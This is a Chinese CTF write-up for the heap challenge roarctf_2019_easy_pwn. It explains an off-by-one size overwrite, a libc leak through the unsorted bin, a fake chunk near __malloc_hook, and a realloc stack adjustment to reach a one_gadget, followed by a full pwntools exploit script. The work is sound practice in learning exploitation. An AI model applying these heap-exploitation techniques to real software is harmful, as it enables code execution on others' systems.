roarctf_2019_easy_pwn(realloc调整栈帧/off_by_one)

check
file
64位,全开

分析

常规堆块操作
create:
file

最大16个chunk,bss段有两个表存 chunk 的 status 和 size,calloc 会把申请的内存块给清空
file

write:
file

里面有个 check_size 的函数,存在 off_by_one ,覆盖 chunk_size
file

off_by_one:通过一个字节的泄露覆盖下一个 chunk 的 size

free:
file
free 之前会先检查 chunk 使用情况,就不存在 double free

利用

通过 off_by_one 将 chunk free 到 unsorted bin,泄露 libc ,同时造成 overlapping 将 fd 写到 malloc 去。这题难点还是,直接使用 __malloc_hook 写入 one_gadget 是都无法使用的。用 realloc 调整栈帧使用 one_gadget ,reallco 同样存在 hook 函数,原理与 malloc_hook 一样,不为空就执行。

这题也可以是劫持 __free_hook ,这就有两种选择,一个是写入system ,一个是 one_gadget,这种方法之后再写。

步骤:

1、先利用 off_by_one 覆盖下一个chunk size,使其包含再下一个 chunk 申请的chunk一定要为 0x8 结尾,才能写到 prev_size 去。

file

2、再将其 free 掉,进入 unsorted bin
file

3、再申请回来,此时 idx2 指向了 main_arena ,同时再次申请回来,就造成了堆叠。
file
地址不一样是因为我了第二次。

4、dump idx2,通过计算偏移泄露 libc,再通过 libc 得到 __mallochook ,写到堆叠 chunk 去,和 fastbin attack 一样构造 \_malloc_hook 附近的 fake chunk。
file
可以看到成功写入了一串 'a'

5、利用 realloc 函数调整栈帧,好在 realloc 的 hook函数 __realloc_hook 就在 __malloc_hook 旁边 -0x8 的位置,所以就直接写 one_gadget 到 __malloc_hook-0x8 的位置。再将 realloc 函数的地址写到 __malloc_hook 去。

file

__malloc_hook -> realloc(执行__ralloc_hook) -> onegadget

exp

from pwn import *
from LibcSearcher import *

#p=remote('node4.buuoj.cn',25423)
p=process('./pwn')
context.log_level='debug'
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')

def add(size):
    p.recvuntil('choice: ')
    p.sendline(str(1))
    p.recvuntil('size: ')
    p.sendline(str(size))

def free(idx):
    p.recvuntil('choice: ')
    p.sendline(str(3))
    p.recvuntil('index: ')
    p.sendline(str(idx))

def dump(idx):
    p.recvuntil('choice: ')
    p.sendline(str(4))
    p.recvuntil('index: ')
    p.sendline(str(idx))

def edit(idx,size,content):
    p.recvuntil('choice: ')
    p.sendline(str(2))
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recvuntil('size: ')
    p.sendline(str(size))
    p.recvuntil('content: ')
    p.sendline(str(content))

add(0x18)#0
add(0x10)#1
add(0x60)#2
add(0x10)#3 #通为了不让 free chunk 与 top chunk 合并

edit(0,34,'a'*0x18+p8(0x91)) #size 比 chunk_size 大10,造成 off_by_one

free(1)
add(0x10)#1
dump(2)

leak_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print('leak_addr',hex(leak_addr))
#gdb.attach(p)

offset=0x3c4b78
libc_base=leak_addr-offset
malloc_hook=libc_base+libc.symbols['__malloc_hook']
system=libc_base+libc.symbols['system']

print('system:',hex(system))
print('malloc_hook:',hex(malloc_hook))
add(0x60)#4
free(2)
edit(4,8,p64(malloc_hook-0x23))
#gdb.attach(p)

add(0x60)#2
add(0x60)#5

#gdb.attach(p)
#one = [0x45226,0x4527a,0xf0364,0xf1207]
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc_base+one[0]
realloc=libc_base+libc.symbols['realloc']
payload='a'*(0xb)+p64(one_gadget)+p64(realloc)
edit(5,len(payload),payload)
#gdb.attach(p)

add(0x10)
p.interactive()

file

蹲个后续,远程打不通。

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据